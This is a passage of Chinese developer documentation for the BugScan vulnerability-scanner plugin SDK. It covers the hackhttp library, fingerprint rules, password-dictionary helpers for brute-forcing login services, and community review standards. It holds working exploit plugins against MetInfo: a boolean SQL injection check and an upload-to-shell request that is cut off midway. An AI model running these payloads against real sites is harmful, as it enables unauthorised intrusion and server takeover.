x&imgproduct=xxxx 33 | ``` 34 | 35 | **漏洞验证(伪代码)**: 36 | 37 | md5(233) 的值为 e165421110ba03099a1c0393373c5b43 38 | 39 | ``` 40 | if 表达式为真的请求返回内容: 41 | security_hole(target, log=log) 42 | ``` 43 | 44 | **范例插件**: 45 | 46 | ``` 47 | #!/usr/bin/env python 48 | # -*- coding: utf-8 -*- 49 | # author: Medici.Yan 50 | 51 | import re 52 | 53 | 54 | def assign(service, arg): 55 | if service == fingerprint.metinfo: 56 | return True, arg 57 | 58 | 59 | def audit(arg): 60 | # 开发者可调用自定义函数 61 | verify(arg) 62 | 63 | 64 | def verify(url): 65 | payloadtrue = "{target}/news/index.php?"\ 66 | "serch_sql=%20123qwe%20"\ 67 | "where%201234%3D1234%20--%20x&imgproduct=xxxx".format(target=url) 68 | 69 | payloadfalse = "{target}/news/index.php?"\ 70 | "serch_sql=%20123qwe%20"\ 71 | "where%201234%3D1235%20--%20x&imgproduct=xxxx".format(target=url) 72 | try: 73 | code1, head1, body1, redirect_url1, log1 = hackhttp.http(payloadtrue) 74 | # shownews.php?lang= 就是两次请求结果中不同的地方 75 | if code1 != 200 or not\ 76 | re.search('href=["\' ]shownews\.php\?lang=', body1, re.M): 77 | return 78 | 79 | code2, head2, body2, redirect_url2, log2 = hackhttp.http(payloadfalse) 80 | if code2 != 200 or\ 81 | re.search('href=["\' ]shownews\.php\?lang=', body2, re.M): 82 | return 83 | security_hole("%s" % (payloadtrue), log=log1) 84 | except: 85 | pass 86 | 87 | if __name__ == '__main__': 88 | from dummy import * 89 | audit(assign(fingerprint.metinfo, 'http://127.0.0.1/MetInfo/')[1]) 90 | 91 | ``` 92 | 93 | ### MSSQL 数据库 94 | 95 | **方法**:构造布尔表达式 96 | 97 | 其 SQL 语句原型类似: 98 | 99 | ``` 100 | select * from xxxx where id=xxx and 1=1; 101 | select * from xxxx where id=xxx and 1=2; 102 | IF(1=1) SELECT 123 ELSE DROP FUNCTION xxxx; 103 | ``` 104 | 105 | ### Oracle 数据库 106 | 107 | **方法**:构造布尔表达式 108 | 109 | SQL 语句原型类似: 110 | 111 | ``` 112 | (SELECT (CASE WHEN (1=1) THEN 123 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) 113 | ``` 114 | 115 | -------------------------------------------------------------------------------- /chapter2/2-4.md: -------------------------------------------------------------------------------- 1 | # hackhttp 2 | --- 3 | 4 | hackhttp 是四叶草安全旗下 BugscanTeam 打造的一款 Python 语言的 HTTP 第三方库。是分布式漏洞扫描框架 BugScan 中核心库之一。 5 | 6 | hackhttp 现已开源,仓库地址 [https://github.com/BugScanTeam/hackhttp](https://github.com/BugScanTeam/hackhttp) 7 | 8 | > BugScan SDK 已经集成 hackhttp, 导入 SDK 之后可直接使用 `hackhttp.http()` 进行发包。 9 | 10 | **注意:原 SDK 中 MiniCurl 已经不再提供更新,为保证兼容性,新版 SDK 中仍可以使用 MiniCurl。如果有项目使用了 MiniCurl,官方建议作者尽快将项目迁移至 hackhttp。** 11 | 12 | ``` 13 | hackhttp.http(url, post=None, **kwargs) -> (code, head, html, redirtct_url, log) 14 | ``` 15 | 16 | ### 参数 17 | 18 | * **url** 19 | 20 | 要访问的目标地址,类型 String, **必选** 21 | 22 | 使用范例: 23 | ``` 24 | hackhttp.http(url="http://bugscan.net") 25 | ``` 26 | 27 | * **post** 28 | 29 | 要发送的 POST 数据 30 | 31 | 使用范例: 32 | ``` 33 | hackhttp.http(url="xxxxx", post="user=admin&pawd=admin") 34 | ``` 35 | 36 | ### kwargs 参数可选值 37 | 38 | * **raw** 39 | 40 | 发送 http 包,可从 burpsuite 上复制 41 | 42 | 使用范例: 43 | 44 | ``` 45 | raw_data = '''GET /index.php HTTP/1.1 46 | Host: www.baidu.com 47 | Connection: keep-alive 48 | Cache-Control: max-age=0 49 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 50 | Upgrade-Insecure-Requests: 1 51 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 52 | Accept-Encoding: gzip, deflate, sdch 53 | Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 54 | ''' 55 | 56 | hackhttp.http(url="https://www.baidu.com", raw=raw_data) 57 | 58 | ``` 59 | 60 | * **proxy** 61 | 62 | 代理服务器,参数类型为 tuple,支持 HTTP 协议 63 | 64 | 使用范例: 65 | ``` 66 | hackhttp.http(url="xxxxx", proxy=('127.0.0.1', 8080)) 67 | ``` 68 | 69 | * **method** 70 | 71 | HTTP 请求方式,根据 RFC2616 标准(现行的 HTTP/1.1) 可选的请求方式有:`OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT`,默认为 GET,如果设置了 post 值,会自动修改 method 值为 POST,如果指定了 method 则会修改为指定的值。 72 | 73 | * **cookcookie** 74 | 75 | 自动处理 Cookie 值,参数类型为 bool 76 | 77 | 使用样例: 78 | 79 | ``` 80 | hackhttp.http(url="xxxx", cookcookie=True) 81 | ``` 82 | 83 | * **header** 84 | 85 | 设置 HTTP 请求头字段,类型为 String 86 | 87 | 使用样例: 88 | 89 | ``` 90 | hackhttp.http(url="xxxx", header='Referer:https://bugscan.net\r\nUser-Agent: hackhttp user-agent') 91 | ``` 92 | 93 | * **headers** 94 | 95 | 设置 HTTP 请求头字段,类型为 dict 96 | 97 | 使用样例: 98 | 99 | ``` 100 | hackhttp.http(url="xxxx", headers={'Referer': 'https://bugscan.net', 'User-Agent': 'hackhttp user-agent'}) 101 | ``` 102 | 103 | **注意: 如果同时设置了 header 和 headers ,那么只会以 header 为准。** 104 | 105 | > 设置 cookie 值,User-Agent 等值可以通过设置 header 来实现,或者在创建 hackhttp 指定 106 | 107 | 108 | ### 返回值 109 | 110 | 返回值类型为 tuple, 长度为 5 111 | 112 | ``` 113 | code, head, html, redirect_url, log = hackhttp.http(url="xxxx") 114 | ``` 115 | 116 | * **code** 117 | 118 | HTTP 状态码,类型为 int 119 | 120 | * **head** 121 | 122 | HTTP 响应头,类型为 String 123 | 124 | * **html** 125 | 126 | HTTP 响应体,类型为 String 127 | 128 | * **redirect_url** 129 | 130 | 遇到 HTTP 302 后的跳转地址,如果无跳转则为请求的地址 131 | 132 | * **log** 133 | 134 | HTTP 日志信息,类型为 dict 135 | * url 136 | 137 | 本次请求的第一个 URL 地址 138 | 139 | * request 140 | 141 | HTTP 请求报文 142 | 143 | * response 144 | 145 | HTTP 响应报文 146 | -------------------------------------------------------------------------------- /chapter2/2-8.md: -------------------------------------------------------------------------------- 1 | Service 与 arg 说明 2 | --- 3 | 4 | ### Service 说明 5 | 6 | Service 是指对目标初步扫描后获取的指纹,是判断是否调用该插件的开关。在该参数位置填写 `fingerprint.服务名`。 7 | 8 | **开发者可进入 [已经上线的特征页面](http://www.bugscan.net/source/template/fingers/) 查看已有的特征**。如果没有该特征,需要按照特征命名规范来编写,之后需要提交特征。 9 | 10 | ### Service 命名规范
11 | 12 | 1. 命名选取, 优先使用英文名。如无英文名则使用官网顶级域名。若有多个产品,则需要使用下划线来区分。字母统一小写。 13 | 14 | 示例: 15 | 16 | WordPress:`fingerprint.wordpress`。 17 | 禅道 项目管理软件:`fingerprint.zentao` 18 | 用友 CRM:`fingerprint.yongyou_crm` 19 | 用友 U8:`fingerprint.yongyou_u8` 20 | 21 | 2. 如果名称中有`空格`,`-`,统一使用 `_`。 22 | 23 | 示例: 24 | 25 | 北京东方文辉 FSM-CMS: `fingerprint.bjdfwh_fsmcms` 26 | 27 | 3. 如果名称是以数字开始的,则在数字前加一个 `_`。 28 | 29 | 示例: 30 | 31 | 74CMS: `fingerprint._74cms` 32 | 33 | ### Service 提交说明 34 | 35 | Service 提交指纹内容分为两部分,第一部分为特征路径,第二部分为该路径的特征值。 36 | 37 | 尽量选取该应用特有的,其他 cms不可能有的。可以添加多个特征如 ecshop,任何一个特征命中就认为识别成功 38 | 39 | * 第一种:图片类 40 | 41 | `.ico .gif .png .jpg`,如 favicon.ico 等等 42 | 43 | 图片类的特征值为其对应的 md5 值。要尽量选取多个版本都有,且 md5 值不会变化的。 44 | 45 | eg: 46 | 47 | ``` 48 | 特征路径: favicon.ico 49 | 50 | 特征值: 89b932fcc47cf4ca3faadb0cfdef89cf 51 | 52 | ``` 53 | 54 | * 第二种 文本型 55 | 56 | `.js .css .htm .php`,如 robots.txt 等 57 | 58 | 文本类要尽量选取有 cms 特征,或者本身的字符串作为特征。 59 | 60 | eg: 61 | 62 | ``` 63 | 特征路径: static/common/js/topic.js 64 | 65 | 特征值: startbbs 66 | ``` 67 | 68 | > 在提交特征时,至少提供 1 个图片特征,1 个文字特征,2〜3 个测试地址 69 | 70 | **phpwiki 特征样例** 71 | 72 | 特征路径 | 特征值 73 | ---|--- 74 | `favicon.ico`| `87B4E4C260FFB28A54FF5ACD15A45B6F` 75 | `themes\default\Wikiwyg\Wikiwy\Phpwiki.js`| `phpwiki ` 76 | `themes\default\phpwiki.css`| `wiki` 77 | 78 | ### Service 对应 arg 说明 79 | 80 | arg 对应的 Service 共同约定的参数。下表中给出了部分 Service 对应的 arg 说明。 81 | 82 | service | arg | 例子 83 | ---|---|--- 84 | www|一个经过模糊过滤的链接| `assign('www', 'http://www.test.com')` 85 | www_form|一个爬虫构造过的 form 表单的 dict 结构| 见下方详细说明 86 | ip | IP地址 | `assign(fingerprint.ip, '127.0.0.1')` 87 | dns | 新发现的域名 | `assign(fingerprint.dns, 'www.baidu.com')` 88 | ssh | 开放 SSH 服务的 IP 地址| `assign(fingerprint.ssh, '127.0.0.1')` 89 | ftp | 开放 FTP 服务的 IP 地址| `assign(fingerprint.ftp, '127.0.0.1')` 90 | mssql | 开放 MSSQL 服务的 IP 地址| `assign(fingerprint.mssql, '127.0.0.1')` 91 | mysql | 开放 MySQL 服务的 IP 地址| `assign(fingerprint.mysql, '127.0.0.1')` 92 | telnet | 开放 Telenet 服务的 IP 地址| `assign(fingerprint.telnet, '127.0.0.1')` 93 | vnc | 开放 VNC 服务的 IP 地址| `assign(fingerprint.vnc, '127.0.0.1')` 94 | 95 | **应用(如: CMS)特征的 arg 一般都为域名,具体可在该特征详细信息界面查看** 96 | 97 | 例如: `assign(fingerprint.discuz, 'http://www.test.com/')` 98 | 99 | * **www_form** arg 详细说明 100 | 101 | www_form 的 arg 为一个爬虫构造过的 form 表单的 dict 结构。 102 | 103 | 比如有一表单如下: 104 | 105 | ``` 106 | 113 | ``` 114 | 115 | 则其对应的 arg 为: 116 | 117 | ``` 118 | { 119 | 'action': 'http://www.abc.com/login.asp', 120 | 'inputs': [ 121 | {'type': u'text', 'name': u'login', 'value': 'test'}, 122 | {'type': u'password', 'name': u'password', 'value': 'test'}, 123 | {'type': u'radio', 'name': u'graphicOption', 'value': u'minimum'} 124 | ], 125 | 'ref': 'http://www.abc.com/', 126 | 'method': u'post' 127 | } 128 | ``` -------------------------------------------------------------------------------- /chapter2/2-6.md: -------------------------------------------------------------------------------- 1 | # util 2 | --- 3 | 4 | > 提供了一些公用的方法库 5 | 6 | #### `decode_html(head, body)` 7 | 8 | 将 HTTP 响应头和响应体以 utf-8 编码方式解码 9 | 10 | ##### 参数 11 | 12 | * **head** 13 | 14 | HTTP 响应头,类型 String 15 | 16 | * **body** 17 | 18 | HTTP 响应体,类型 String 19 | 20 | ##### 返回值 21 | 22 | 类型 String 23 | 24 | ##### 范例 25 | 26 | ``` 27 | code, head, body, err, redir_url = hackhttp.http(url="xxxx") 28 | ret = util.decode_html(head, body) 29 | ``` 30 | 31 | --- 32 | 33 | #### `get_domain_root(url)` 34 | 35 | 获取 url 的**根域名**地址 36 | 37 | ##### 参数 38 | 39 | * **url** 40 | 41 | URL 地址,类型 String 42 | 43 | ##### 返回值 44 | 45 | 类型 String 46 | 47 | ##### 范例 48 | 49 | ``` 50 | >>> util.get_domain_root("http://www.test.com/index.php?id=1") 51 | 'test.com' 52 | >>> util.get_domain_root("http://www.test.com/test/") 53 | 'test.com' 54 | >>> util.get_domain_root("http://test.com/test/index.php?id=1") 55 | 'test.com' 56 | ``` 57 | 58 | --- 59 | 60 | 61 | #### `get_url_ext(url)` 62 | 63 | 获取 URL 中请求的文件的后缀名(不适用于重写 URL 规则的 URL) 64 | 65 | ##### 参数 66 | 67 | * **url** 68 | 69 | 目标 URL 地址,类型 String 70 | 71 | ##### 返回值 72 | 73 | 后缀名,类型 String 74 | 75 | ##### 范例 76 | 77 | ``` 78 | >>> util.get_url_ext("http://www.test.com/test/test.jsp?id=1") 79 | '.jsp' 80 | ``` 81 | --- 82 | 83 | 84 | #### `get_url_host(url)` 85 | 86 | 获取该 URL 的域名地址 87 | 88 | ##### 参数 89 | 90 | * **url** 91 | 92 | 目标 URL 地址,类型 String 93 | 94 | ##### 返回值 95 | 96 | 类型 String 97 | 98 | ##### 范例 99 | 100 | ``` 101 | >>> util.get_url_host("http://www.test.com/test/") 102 | 'www.test.com' 103 | >>> util.get_url_host("http://www.test.com/test/index.php?id=2") 104 | 'www.test.com' 105 | ``` 106 | 107 | --- 108 | 109 | #### `is_ipaddr(varObj)` 110 | 111 | 判断 varObj 是不是 IPv4 地址 112 | 113 | ##### 返回值 114 | 115 | 类型 Bool 116 | 117 | ##### 范例 118 | 119 | ``` 120 | >>> util.is_ipaddr("www.test.com") 121 | False 122 | >>> util.is_ipaddr("127.0.0.1") 123 | True 124 | ``` 125 | 126 | #### `load_password_dict(hostname, userfile=None, passfile=None, userlist=None, passlist=None, mix=True)` 127 | 128 | 加载字典,函数自带去重功能 129 | 130 | ##### 参数 131 | 132 | * **hostname** 133 | 134 | 类型 str。当前扫描的域名或者 ip(若是 IP,会自动从当前扫描的 url 匹配到域名) 135 | 136 | * **userfile** 137 | 138 | 类型 str。加载的内置用户名字典文件 139 | 140 | 用户名字典例子: 141 | * root:root 表示一对用户名和密码,这种类型会不和密码字典来组合 142 | * %domain% 该通过扫描的域名来生成,包含一级二级三级 143 | * %domain%:%domain% 144 | * admin:admin 145 | * test:test 146 | 147 | * **passfile** 148 | 149 | 类型 str。 加载的内置密码字典文件 150 | 151 | 密码字典例子: 152 | 153 | * %null% 空口令 154 | * 123456789 155 | * %username%123 与用户名组合 156 | 157 | 内置的用户名和密码字典列表 158 | 159 | ``` 160 | sub_domain.txt 161 | telnet_user.txt 162 | ssh_user.txt 163 | ftp_user.txt 164 | http_user.txt 165 | form_user.txt 166 | rsync_user.txt 167 | mssql_user.txt 168 | mysql_user.txt 169 | telnet_pass.txt 170 | ftp_pass.txt 171 | form_pass.txt 172 | mssql_pass.txt 173 | mysql_pass.txt 174 | http_pass.txt 175 | ssh_pass.txt 176 | ``` 177 | 内置字典均放在 `database/` 目录下,具体使用方法参见**范例二** 178 | 179 | * userlist 类型 list。 用户名的文本列表 180 | * passlist 类型 list。 密码的文本列表 181 | * mix 类型 bool。额外将 `%username%+密码` 作为密码 182 | 183 | ##### 返回值 184 | 185 | 类型 list 186 | 187 | ##### 说明 188 | 189 | **加载顺序为**: 190 | 191 | 1.加载默认用户字典 192 | 193 | 2.加载内置文件用户字典 194 | 195 | 3.加载添加任务时设置url用户字典 196 | 197 | 4.加载默认密码字典 198 | 199 | 5.加载内置文件密码字典 200 | 201 | 6.加载添加任务时设置url密码字典 202 | 203 | **如果需要在本地测试自定义字典**,请打开 `dummy/__init__.py` 204 | 205 | ``` 206 | _G = { 207 | 'scanport':False, 208 | 'subdomain': False, 209 | 'target': 'www.abc.com', 210 | 'disallow_ip':['127.0.0.1'], 211 | 'kv' : {}, 212 | #'user_dict':'http://192.168.0.158/1.txt' 213 | #'pass_dict':'http://192.168.0.158/1.txt' 214 | } 215 | ``` 216 | 217 | 将其中的 `user_dict` 和 `pass_dict` 前的 `#` 号去掉,并将值修改为用户远程字典的地址 218 | 219 | ##### 范例 220 | 221 | 1. 范例一 222 | 223 | ``` 224 | >>> util.load_password_dict('') 225 | [['root', 'root'], ['admin', 'admin'], ['test', 'test']] 226 | ``` 227 | 228 | 2. 范例二 229 | 230 | ``` 231 | #!/usr/bin/env python 232 | # -*- coding: utf-8 -*- 233 | import urlparse 234 | def assign(service, arg): 235 | if service == fingerprint.test: 236 | return True, arg 237 | def audit(args): 238 | r = urlparse.urlparse(args) 239 | host = r.hostname 240 | debug("host:%s",host) 241 | pass_list = util.load_password_dict( 242 | host, 243 | userfile='database/ftp_user.txt', 244 | passfile='database/ftp_pass.txt', 245 | userlist=['sa:sa','username'], 246 | passlist=['123456'], 247 | mix=True, 248 | ) 249 | for username,password in pass_list: 250 | debug("%s,%s", username, password) 251 | if __name__ == '__main__': 252 | from dummy import * 253 | audit(assign(fingerprint.test, 'http://mp3.baidu.com/')[1]) 254 | ``` 255 | 256 | #### `urljoin(base, ref, encoding='utf-8')` 257 | 258 | 连接 URL,用法和返回值与 urlparse.urljoin 完全相同 259 | 260 | ``` 261 | >>> util.urljoin('http://www.test.com/', '/index.php?id=1&page=2') 262 | 'http://www.test.com/index.php?id=1&page=2' 263 | ``` 264 | -------------------------------------------------------------------------------- /she-qu-zi-yuan-shen-he-ji-jiang-li-biao-zhun/zi-yuan-ti-jiao-biao-zhun.md: -------------------------------------------------------------------------------- 1 | ## 资源提交标准 2 | - - - - 3 | ### 特征标准 4 | 5 | #### 特征提交方式 6 | 1. 点击社区导航栏中“资源”列表中的“提交特征” 7 |  8 | 9 | 2. 按照要求填写特征信息,提交即可。更多问题在提交页面中有说明。可在[BugScan--漏洞插件社区--指纹列表](http://www.bugscan.net/source/template/fingers/)中查看该应用是否已存在。 10 | 11 | #### 特征格式标准 12 | 1. 特征提交规范: 13 | 1. 厂商名称:厂商的名称,如Adobe 14 | 2. 应用名称:该应用的名称,可以包含中文。全称、简称均可,可搜索到的名称。如:Wordpress博客管理系统,不区分到版本 15 | 3. 应用指纹名称:即插件里调用的时候的名称。如fingerprint.wordpress,应用指纹名对应的是wordpress 。 16 | 4. 特征简介:简单介绍该应用的用途等信息。 17 | 5. 指纹内容:详见主要内容 18 | 6. 测试地址:至少提供2个可用的测试URL。越多越好,利于自动抓取分词特征的程序运行。 19 | 2. 指纹内容 20 | 指纹是若干个(路径,特征文本)构成的元组(路径开头不带"/") 21 | 如: 22 | ```json 23 | [ 24 | ["robots.txt","wp-admin"], 25 | ["admin.php","wordpress"], 26 | ["css/main.css", "wp-nightmode"], 27 | ["theme/logo.png", "b99ebbec34e04c9726714dfc8735c38b"] 28 | ] 29 | ``` 30 | 指纹分为两类: 31 | ##### 文本类 32 | 通常使用: 33 | 1. robots.txt文件 34 | 2. css、js资源 35 | 3. 特殊链接指向的页面等。 36 | 特征文本使用: 37 | 1. 其中的带有应用名的字眼。 38 | 2. 比较特殊的代码片段、变量名称等。尽量使用英文字符。 39 | ##### 图片资源类 40 | 通常使用: 41 | 1. favicon.ico 42 | 2. 背景图片、按钮icon。不宜更改的、不显眼的图片。 43 | 特征文本使用相应图片资源的MD5。 44 | 45 | #### 特征审核标准 46 | 1. 已有特征的应用依然可以进行提交 47 | 2. 提交特征时应给出测试的URL,至少两个。 48 | 3. 特征不能过于简单,严禁存在误报隐患的特征通过 49 | 4. 特征以单个产品为划分粒度,同一产品的不同特征指纹都属于一个应用。 50 | 5. 正常情况下一个应用至少要有一个文本类特征和一个图片类特征。 51 | 6. 一个应用特征内容过多的情况下审核员应根据情况进行删减,最多指纹不超过7个。但若特征内容为某版本独有且在特征简介中进行说明,则不计入上限中。 52 | 53 | #### 特征奖励标准 54 | 1. 提交特征时按照指纹内容的个数进行Rank奖励,每个特征奖励 1 Rank。 55 | 2. 当特征内容超过7个时,由管理员视情况对特征内容进行删减,保留不超过七个指纹。即无论提交多少个特征内容,单个特征最高获可获得7 Rank. 56 | - - - - 57 | ### 漏洞标准 58 | 59 | #### 漏洞提交方式 60 | 1. 点击社区导航栏中“资源”列表中的“提交漏洞” 61 |  62 | 2. 按照要求填写各项漏洞信息 63 | 64 | #### 漏洞格式标准 65 | ##### 基本要求 66 | 1. 每个插件都要有对应的漏洞信息 67 | 2. 漏洞可以对应不同的插件,也可以不对应插件 68 | 3. 对于社区而言,漏洞只能是通用漏洞 69 | ##### 内容标准 70 | 1. 漏洞类型:漏洞对用现行分类里的哪个类型 71 | 2. 特征:插件上线需要指定相应的特征才能上线,即该漏洞对应的应用/系统等 72 | 3. 漏洞标题,应做到: 73 | 1. 表明漏洞的CMS类型、位置、类型,建议包含版本号,一般形式为"应用名 +(版本号)+ 漏洞位置(路径+参数) + 漏洞类型" 74 | * 如:dedecms V3.0 index.php id参数 SQL注入漏洞 75 | * 适用空格进行分割 76 | * 漏洞类型尽量使用中文说明,如SQLI应写为SQL注入 77 | 3. 不能出现例如最新、通杀、某版本等模糊或有歧义字样。 78 | 4. 不能出现具体漏洞站点或站点标题、名称。如:百度主站www.baidu.com存在XSS,这种会暴露某些站点漏洞信息的是标题不允许的。 79 | 4. 漏洞详情:说明该漏洞的危害性。该漏洞若对应其他漏洞库漏洞编号的,可在漏洞详情结尾另起一行,放入json格式说明,(漏洞利用+加分) 80 | > {"cve":"CVE编号", "cnnvd":"CNNVD编号"} 81 | 5. 漏洞成因:说明该漏洞的形成原因。 82 | 6. 引用地址:请给出该漏洞的来源地址。 83 | 7. 修复建议:如能给出可靠修复建议,详细给出。如不能、给出临时修复建议。 84 | 修复建议的基本原则: 85 | 1. 能根据建议执行可操作的步骤; 86 | 2. 能给出引用链接的,尽量给出引用链接; 87 | 3. 语言要求言简意赅。英文专有名词可以直接使用英文,避免因翻译问题搜索时搜不到的麻烦; 88 | 4. 如现无修复方案,可以导流到CMS应用的官方修复方案页面,建议用户关注; 89 | ##### 区分标准 90 | 1. 漏洞以漏洞位置进行区分 91 | 2. 若同一参数但路径不同,区分为不同漏洞。 92 | 3. 若不同版本号但路径及参数一致,且漏洞成因一致,则划分为相同漏洞 93 | 94 | #### 漏洞审核标准 95 | 1. **仅收录通用型漏洞,不收录具体站点的漏洞。相关具体站点的漏洞可能会被删除。**(重要) 96 | 2. 漏洞应符合其格式标准要求,内容标准中的信息缺一不可,审核人对于不符合格式内容要求的漏洞给出修改建议,等待提交者修改。 97 | 3. 0DAY漏洞第一时间向厂商进行汇报。 98 | 99 | #### 漏洞奖励标准 100 | 1. 对于符合格式要求且通过的漏洞,视漏洞的实时性、影响性、以及相关描述的完整性奖励1~2个Rank。 101 | 2. 对于路由器、摄像头、智能硬件等物联网或工控相关漏洞,可视漏洞影响性+1~2个Rank 102 | - - - - 103 | ### 插件标准 104 | 105 | #### 基本标准 106 | 1. 运行后会不会造成主机崩溃(如DOS、溢出类) 107 | 2. 不能关闭、重启、注销目标主机 108 | 3. 不能更改关键文件。 109 | 4. 不能直接获取主机敏感数据,如注入不能直接获取账号密码等。 110 | 5. 不能添加持久的账户、弱口令进入目标主机。 111 | 6. 不能增加后门、开放端口、转发端口 112 | 7. 可以生成临时文件、临时账户并删除 113 | 8. 可以使用无意义的字符串或MD5值 114 | 9. 可以为了验证漏洞只读某些特殊文件 115 | 10. 可以执行简单的、无危害的代码 116 | (插件名称) 117 | #### 插件格式标准 118 | 1. assign函数:其中判断service类型和简单处理arg 119 | 2. audit函数:主要测试代码在这个函数完成。按照不同类型的漏洞有不同标准,详见插件编写doc。 120 | 3. 测试代码:在SDK下调用下的测试代码,应写在`if __name__ == '__main__'` 下面 121 | 4. 具体插件编写格式见:[BugScan 插件开发文档](http://doc.bugscan.net/) 122 | 123 | #### 插件审核标准 124 | 1. 检查是否重复的步骤 125 | 1. 搜索插件中的CMS类型名称 126 | 2. 搜索漏洞类型 127 | 3. 检查标题中的页面名称是否重复 128 | 4. 检查参数是否重复 129 | 5. 检查payload是否重复 130 | 6. 如果进行到第五步,说明重复,进行**对比**流程。 131 | 2. 检查插件格式是否符合标准 132 | 1. 检查assign、audit函数是否存在 133 | 2. 检查`if __name__=='__main__'` 是否存在并在其下有测试代码 134 | 3. 如不符合标准,*标记等待修改,原因不符合提交标准* 135 | 3. 是否正常执行 136 | 1. 在沙盒执行,查看是否有语法错误 137 | 1. 如果执行出错:小错误顺手改掉。错误不宜修改的*标记等待修改,原因编写错误* 138 | 4. 查看是否正常输出security_func的结果 139 | 1. 如不输出、检查是否是本地测试环境 140 | 1. 非本地测试环境:*标记等待修改、原因为不能验证* 141 | 2. 本地测试环境:检查是否有截图,如无,*标记等待修改、原因为不能验证* 142 | 5. 是否是通用漏洞 143 | 1. 检查测试网站数量,如较多不同网站、且CMS为一般常见应用。则可认为是通用漏洞 144 | 2. 如果只有一个测试网址,可询问编写者询问更多情况,或根据测试网站中的Powered by 、inurl等信息尝试搜索,根据搜索结果判断是否是通用。或访问相应CMS所属厂商查看信息。 145 | 3. 对于不确定的,标记已初审。留言给编写者。 146 | 6. 是否对目标造成威胁 147 | 1. 检查是否符合插件运行标准。 148 | 149 | #### 插件提交标准 150 | 151 | 1.命名规范: 152 | 153 | 1. 应用名称_版本号_插件名称_漏洞位置_攻击类型漏洞 154 | 2. 攻击类型按照以下分类对应 155 | sql注入/xss/命令执行/代码执行/伪造/任意文件下载/任意文件上传/任意文件写入/任意文件读取/任意文件删除/ 156 | 文件包含/目录遍历/未授权访问/越权/绕过/信息泄露/xxe/url跳转/其他 157 | 3. 不能出现具体漏洞站点或者站点标题,名称(针对事件型漏洞) 158 | 4.不应出现任何与bugscan,个人,厂商相关的信息(标题跟内容中均不能出现,注释除外) 159 | 5. 插件中不能出现例如:"最新","某版本"等模糊或者"0day"字样 160 | 6. 特殊插件命名格式: "相关应用_功能_攻击类型漏洞" 161 | 2.内容规范: 162 | 163 | 1.插件内容中需要标明的: 164 | #漏洞参考链接 165 | #应用官网地址 166 | 2.插件验证: 167 | 本地验证:留言需要标明漏洞成因,本地脚本测试截图,源码包。 168 | 线上验证 169 | 170 | 171 | #### 插件奖励标准 172 | 符合插件提交标准:插件基础评分为1,以下为加分项 173 | * 影响范围 0~2 174 | * 危害程度 0~2 175 | * 编写难度 0~2 176 | * 物联网、工控加成 0~2 177 | * 特殊加成 0~10 178 | ##### 影响范围Rank评定 179 | 2:影响范围极大,例如Apache、Nginx的核心框架(不包含组件)本身的漏洞,Windows、Linux系统漏洞 180 | 1:影响范围较大,例如WordPress这类国际主流CMS或者、Dedecms这种国内常见的CMS、系统服务、常见框架的组件等。 181 | 0:影响范围一般,例如某些校园系统、定制系统、主流应用的插件导致的漏洞。 182 | ##### 危害程度 183 | 2:危害极为严重,可直接获取目标权限的,例如无限制的远程命令执行。 184 | 1:危害严重,可获取读取系统文件或数据库数据的、或者可以通过其他方法简介获取目标权限的。例如SQL注入、任意文件读取,任意文件上传。 185 | 0:危害一般。 186 | ##### 编写难度 187 | 此项为审核人员主观评价,结合插件功能和插件使用技术两方面对编写难度进行评价。分值区间0~2。 188 | ##### 物联网、工控加成 189 | 2:工控相关插件 190 | 1:物联网相关插件 191 | 0:其他 192 | ##### 特殊加成 193 | 因为各种各样的插件都有,此处如果有各类脑洞插件、实用性插件,经过审核人员评定后可以给予加成分数。 194 | 对于新爆发的漏洞,在爆发时间后短时间内提交且审核通过的插件,可获得紧急响应奖励。 195 | - - - - -------------------------------------------------------------------------------- /chapter3/3-3.md: -------------------------------------------------------------------------------- 1 | # 文件上传类 2 | --- 3 | 4 | 文件上传类插件可以分两种方法进行上传: 5 | 6 | * raw (**推荐**) 7 | 8 | 直接发送 HTTP 原始报文,可直接从 BurpSuite 中复制该报文,使用 hackhttp 的 raw 发包形式来上传文件。 9 | 10 | * post 11 | 12 | 通过构造 `enctype="multipart/form-data"` 形式的 form 表单来上传文件。 13 | > 由于 MIME 类型较多,在处理时比较麻烦,官方推荐使用 raw 形式上传文件。 14 | 15 | 16 | 17 | **范例插件** 18 | 19 | [MetInfo5.1 /feedback/uploadfile_save.php 任意文件上传](http://www.bugscan.net/source/plugin/2447/template/) 20 | 21 | > 感谢插件作者: [wonderkun](http://www.bugscan.net/accounts/template/profile/#/1937) 22 | 23 | ``` 24 | #!/usr/bin/evn python 25 | # -*-:coding:utf-8 -*- 26 | # Author: wonderkun 27 | # Name: MetInfo5.1 任意文件上传 getshell 28 | # Refer: http://www.wooyun.org/bugs/wooyun-2015-0139168 29 | # Data: 2015/12/15 30 | 31 | import time 32 | 33 | def assign(service,arg): 34 | if service == fingerprint.metinfo: 35 | return True, arg 36 | 37 | def audit(arg): 38 | url = arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo" 39 | 40 | raw = ''' 41 | POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1 42 | Host: localhost 43 | Content-Length: 423 44 | Cache-Control: max-age=0 45 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 46 | Origin: null 47 | Upgrade-Insecure-Requests: 1 48 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 49 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ 50 | Accept-Encoding: gzip, deflate 51 | Accept-Language: zh-CN,zh;q=0.8 52 | Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1 53 | 54 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ 55 | Content-Disposition: form-data; name="fd_para[1][para]" 56 | 57 | filea 58 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ 59 | Content-Disposition: form-data; name="fd_para[1][type]" 60 | 61 | 5 62 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ 63 | Content-Disposition: form-data; name="filea"; filename="test.php" 64 | 